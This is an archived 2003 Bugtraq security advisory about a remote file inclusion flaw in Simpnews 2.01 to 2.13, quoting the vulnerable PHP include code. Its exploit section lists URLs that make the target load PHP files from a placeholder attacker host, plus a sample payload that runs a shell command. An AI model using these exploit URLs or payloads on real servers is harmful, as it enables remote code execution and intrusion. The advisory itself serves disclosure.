bugtraq - Simpnews include file Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20030719082555.32192.qmail@www.securityfocus.com>
Date: 19 Jul 2003 08:25:55 -0000
From: pupet cahyo <pupet@...mo.com>
To: bugtraq@...urityfocus.com
Subject: Simpnews include file Vulnerability




original File name : PUPET-simpnews.txt
date releases      : july 15, 2003

Informations :
=========================
Advisory Name: Simpnews include file Vulnerability
Author: PUPET <pupet@...mo.com>
Discover by: PUPET <pupet@...mo.com>
Website vendor : http://www.boesch-it.de/
Versions : tested on V2.01  -> V2.13 
Problem : Include file


PHP Code/Location :
=========================

/eventscroller.php :
---------------------------
...
require_once($path_simpnews.'/config.php');
require_once($path_simpnews.'/functions.php');
if(!isset($category))
	$category=0;
if(!isset($lang) || !$lang)

...
--------------------------


/eventcal2.php :
---------------------------
...
if(!isset($lastvisitdate))
	$lastvisitdate=0;
require_once($path_simpnews.'/config.php');
require_once($path_simpnews.'/functions.php');
include_once($path_simpnews.'/includes/has_entries.inc');
...
---------------------------

Exploits :
===============
http://[target]/eventcal2.php.php?path_simpnews=http://[attacker]/
with
http://[attacker]/config.php
http://[attacker]/functions.php
http://[attacker]/includes/has_entries.inc
or 
http://[target]/eventscroller.php?path_simpnews=http://[attacker]/
with
http://[attacker]/config.php
http://[attacker]/functions.php

Example for config.php on http://[attacker]/
==================
<? passthru("uname -a"); ?> 

Vendor Response:
==============
Not contacted yet

Patch :
=============
will post soon at http://www.cracxer.or.id .

reference :
=============
http://www.pupet.net/cracxerfiles

==============

This bugs Discover by : PUPET members of cracxer.or.id sub-devision 
security focus (www.cracxer.or.id)
 
Thanks to :
============
kaka-joe , pak-tani, Bewok , AxAL , ^BuBuR^aYaM^ , Ernesto_che_guevarra , 
Babah, Idon 
Schatje , juventini , Headup , Quervo , kecap , notts , Kemo (candyman) 
and all crew #cracxer, #dhegleng, #minangcrew, #indocracker at @dalnet

By :
============
PUPET (no more mr nice guy)